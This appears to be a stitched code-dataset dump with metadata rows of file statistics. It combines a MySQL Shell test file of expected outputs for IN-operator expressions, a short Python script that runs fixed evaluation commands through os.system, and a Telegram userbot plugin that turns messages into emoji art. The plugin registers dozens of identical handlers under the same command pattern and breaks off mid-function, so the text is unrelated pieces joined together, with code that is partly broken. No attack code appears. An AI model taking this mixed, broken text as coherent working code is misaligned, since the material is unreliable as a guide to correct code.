| 21.166667 | 72 | 0.84252 | 19 | 127 | 5.263158 | 0.526316 | 0.4 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102362 | 127 | 5 | 73 | 25.4 | 0.877193 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
02c12bda28eaab14990f54f2627f4c2de3052bcb | 12,841 | py | Python | unittest/scripts/py_devapi/validation/mysqlx_bool_expression.py | mueller/mysql-shell | 29bafc5692bd536a12c4e41c54cb587375fe52cf | [
"Apache-2.0"
] | 119 | 2016-04-14T14:16:22.000Z | 2022-03-08T20:24:38.000Z | unittest/scripts/py_devapi/validation/mysqlx_bool_expression.py | mueller/mysql-shell | 29bafc5692bd536a12c4e41c54cb587375fe52cf | [
"Apache-2.0"
] | 9 | 2017-04-26T20:48:42.000Z | 2021-09-07T01:52:44.000Z | unittest/scripts/py_devapi/validation/mysqlx_bool_expression.py | mueller/mysql-shell | 29bafc5692bd536a12c4e41c54cb587375fe52cf | [
"Apache-2.0"
] | 51 | 2016-07-20T05:06:48.000Z | 2022-03-09T01:20:53.000Z | #@ Expression evaluation (true)
|1 in (1,2,3) => True|
|1 in [1,2,3] => True|
|[1] in ([1], [2]) => True|
|2 in ((1+1)) => True|
|[1] in [[1], [2], [3]] => True|
|[] in [[], [2], [3]] => True|
|{'a':5} in [{'a':5}] => True|
|{'a':5} in {'a':5, 'b':6} => True|
#@ Expression evaluation (false)
|4 in (1,2,3) => False|
|4 in [1,2,3] => False|
|[4] in [[1], [2], [3]] => False|
|{'a':5} in [{'a':6}] => False|
|{'a':5} in {'b':6} => False|
#@<OUT> Expression evaluation (filter)
6 in array => [{"_id": "id2", "array": [5, 6, 7]}]
null in array => []
null in $.array => []
null not in array => [{"_id": "id2", "array": [5, 6, 7]}]
null not in $.array => [{"_id": "id2", "array": [5, 6, 7]}]
#@<OUT> IN basic - collection find
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
actors in actors
{ "name" : "MILLA PECK" } IN actors
[1,2,3] in actors
actor.name IN ['a name', null, (1<5-4), myvar.jsonobj.name]
true IN [1-5/2*2 > 3-2/1*2]
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
#@# IN syntactically valid but unsupported
||CONT_IN expression requires operator that produce a JSON value.
||CONT_IN expression requires operator that produce a JSON value.
||CONT_IN expression requires operator that produce a JSON value.
||CONT_IN expression requires operator that produce a JSON value.
# TODO(rennox): This is actually returning a result
#||CONT_IN expression requires operator that produce a JSON value.
#@<OUT> IN basic - collection modify
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
actors in actors
{ "name" : "MILLA PECK" } IN actors
[1,2,3] in actors
actor.name IN ['a name', null, (1<5-4), myvar.jsonobj.name]
true IN [1-5/2*2 > 3-2/1*2]
#@<OUT> IN basic - collection remove
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
actors in actors
{ "name" : "MILLA PECK" } IN actors
[1,2,3] in actors
actor.name IN ['a name', null, (1<5-4), myvar.jsonobj.name]
true IN [1-5/2*2 > 3-2/1*2]
#@<OUT> IN basic - table select
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
doc->'$.actors' in doc->'$.actors'
#@<OUT> IN basic - table update
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
doc->'$.actors' in doc->'$.actors'
#@<OUT> IN basic - table delete
(1>5) in (true, false)
(1+5) in (1, 2, 3, 4, 5)
('a'>'b') in (true, false)
1 in (1,2,3)
true IN [(1>5), not (false), (true or false), (false and true)]
true IN ((1>5), not (false), (true or false), (false and true))
doc->'$.actors' in doc->'$.actors'
#@<OUT> WL10848 F2 - The evaluation of the IN operation between 2 operands is equivalent to a call to the JSON_CONTAINS() function with said operands Rules defined for JSON_CONTAINS():
'African Egg' IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' })
1 IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' })
false IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' })
[0,1,2] IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' })
{ 'title' : 'Atomic Firefighter' } IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' })
[
{
"{ 'title' : 'Atomic Firefighter' } IN ('African Egg', 1, true, NULL, [0,1,2], { 'title' : 'Atomic Firefighter' }) ": true
}
]
#@<OUT> WL10848 F3 - If the right side operand of the IN operator is a comma separated list of expressions enclosed in parenthesis -- like ('foo', 'bar', 'baz', current_date()) -- the expression must translate to the existing SQL IN operator
title IN ('African Egg', 'The Witcher', 'Jurassic Perk')
releaseyear IN (2006, 2010, 2017)
[
{
"releaseyear IN (2006, 2010, 2017)": true
}
]
#@<OUT> WL10848 F4 - If any of the operands is the SQL NULL value (like when a document field that does not exist), the operation evaluates to NULL
'African Egg' in movietitle
NULL in title
[
{
"NULL in title": false
}
]
#@<OUT> WL10848 F5 - The result of the evaluation of the IN operator is a boolean value. The operation evaluates to TRUE if the left side operand is contained in the right side and FALSE otherwise
1 IN [1,2,3]
0 IN [1,2,3]
[
{
"0 IN [1,2,3]": false
}
]
#@<OUT> WL10848 F6 - The result of the evaluation of the NOT IN operator is a boolean value. The operation evaluates to True if the left side operand is NOT contained in the right side and False otherwise
1 NOT IN [1,2,3]
0 NOT IN [1,2,3]
[
{
"0 NOT IN [1,2,3]": true
}
]
#@<OUT> Search for empty strings in a field
[]
#@<OUT> Search for a field in an empty string
[]
[]
#@<OUT> Search for an array in a field
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
#@<OUT> Search for a document in a field
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
#@<OUT> Search for a field in a custom array
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
#@<OUT> Search for a boolean in a field
[]
[]
#@<OUT> Search for nested values in a document
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
#@<OUT> Search for field in an array of documents
#@<OUT> Search for a value in a nested array
[
{
"_id": "a6f4b93e1a264a108393524f29546a8c",
"actors": [
{
"birthdate": "12 Jan 1984",
"country": "Mexico",
"name": "MILLA PECK"
},
{
"birthdate": "26 Jul 1975",
"country": "Botswana",
"name": "VAL BOLGER"
},
{
"birthdate": "16 Mar 1978",
"country": "Syria",
"name": "SCARLETT BENING"
}
],
"additionalinfo": {
"director": "Sharice Legaspi",
"productioncompanies": [
"Qvodrill",
"Indigoholdings"
],
"writers": [
"Rusty Couturier",
"Angelic Orduno",
"Carin Postell"
]
},
"description": "A Fast-Paced Documentary of a Pastry Chef And a Dentist who must Pursue a Forensic Psychologist in The Gulf of Mexico",
"duration": 130,
"genre": "Science fiction",
"language": "English",
"rating": "G",
"releaseyear": 2006,
"title": "AFRICAN EGG"
}
]
| 30.867788 | 241 | 0.497547 | 1,496 | 12,841 | 4.259358 | 0.125 | 0.019303 | 0.012712 | 0.018832 | 0.845888 | 0.83349 | 0.818895 | 0.807282 | 0.807282 | 0.787979 | 0 | 0.070747 | 0.347247 | 12,841 | 415 | 242 | 30.942169 | 0.689454 | 0.139553 | 0 | 0.649315 | 0 | 0.019178 | 0.337507 | 0.01742 | 0 | 0 | 0 | 0.00241 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b8b036f36026117825416391efde23bec64e5f34 | 520 | py | Python | eval_medseg_timm-regnetx_002_RandomSnow.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | eval_medseg_timm-regnetx_002_RandomSnow.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | eval_medseg_timm-regnetx_002_RandomSnow.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | import os
ls=["python main.py --configs configs/eval_medseg_unetplusplus_timm-regnetx_002_0_RandomSnow.yml",
"python main.py --configs configs/eval_medseg_unetplusplus_timm-regnetx_002_1_RandomSnow.yml",
"python main.py --configs configs/eval_medseg_unetplusplus_timm-regnetx_002_2_RandomSnow.yml",
"python main.py --configs configs/eval_medseg_unetplusplus_timm-regnetx_002_3_RandomSnow.yml",
"python main.py --configs configs/eval_medseg_unetplusplus_timm-regnetx_002_4_RandomSnow.yml",
]
for l in ls:
os.system(l) | 47.272727 | 98 | 0.840385 | 80 | 520 | 5.0875 | 0.3 | 0.12285 | 0.14742 | 0.233415 | 0.889435 | 0.889435 | 0.889435 | 0.889435 | 0.889435 | 0.889435 | 0 | 0.0409 | 0.059615 | 520 | 11 | 99 | 47.272727 | 0.791411 | 0 | 0 | 0 | 0 | 0 | 0.873321 | 0.633397 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
b26415fdcaf0cc44814007b47296110f2101d70f | 44,529 | py | Python | something.py | Munnipopz/friday-kerala | 6758a39be1c417462148059389a407a78b156c4a | [
"MIT"
] | 1 | 2020-07-17T09:09:36.000Z | 2020-07-17T09:09:36.000Z | something.py | Munnipopz/friday-kerala | 6758a39be1c417462148059389a407a78b156c4a | [
"MIT"
] | null | null | null | something.py | Munnipopz/friday-kerala | 6758a39be1c417462148059389a407a78b156c4a | [
"MIT"
] | 4 | 2020-07-16T06:16:15.000Z | 2020-07-17T09:20:34.000Z | ''' Whatever Plugin by Noobs of Telegram i.e. @pureindialover '''
from telethon import events
import asyncio
import os
import sys
from uniborg.util import admin_cmd
@borg.on(admin_cmd(pattern=r"lmoon"))
async def test(event):
if event.fwd_from:
return
await event.edit("🌕🌕🌕🌕🌕🌕🌕🌕\n🌕🌕🌖🌔🌖🌔🌕🌕\n🌕🌕🌗🌔🌖🌓🌕🌕\n🌕🌕🌗🌔🌖🌓🌕🌕\n🌕🌕🌖🌓🌗🌔🌕🌕\n🌕🌕🌗🌑🌑🌓🌕🌕\n🌕🌕🌗👀🌑🌓🌕🌕\n🌕🌕🌘👄🌑🌓🌕🌕\n🌕🌕🌗🌑🌑🌒🌕🌕\n🌕🌖🌑🌑🌑🌑🌔🌕\n🌕🌘🌑🌑🌑🌑🌒🌕\n🌖🌑🌑🌑🌑🌑🌑🌔\n🌕🤜🏻🌑🌑🌑🌑🤛🏻🌕\n🌕🌖🌑🌑🌑🌑🌔🌕\n🌘🌑🌑🌑🌑🌑🌑🌒\n🌕🌕🌕🌕🌕🌕🌕🌕")
@borg.on(admin_cmd(pattern=r"city"))
async def test(event):
if event.fwd_from:
return
await event.edit("""☁☁🌞 ☁ ☁
☁ ✈ ☁ 🚁 ☁ ☁ ☁ ☁ ☁ ☁
🏬🏨🏫🏢🏤🏥🏦🏪🏫
🌲/ l🚍\🌳👭
🌳/ 🚘 l 🏃 \🌴 👬 👬 🌴/ l 🚔 \🌲
🌲/ 🚖 l \
🌳/🚶 | 🚍 \ 🌴🚴🚴
🌴/ | \🌲""")
@borg.on(admin_cmd(pattern=r"hai"))
async def hai(event):
if event.fwd_from:
return
await event.edit("🌺✨✨🌺✨🌺🌺🌺\n🌺✨✨🌺✨✨🌺✨\n🌺🌺🌺🌺✨✨🌺✨\n🌺✨✨🌺✨✨🌺✨\n🌺✨✨🌺✨🌺🌺🌺\n☁☁☁☁☁☁☁☁")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
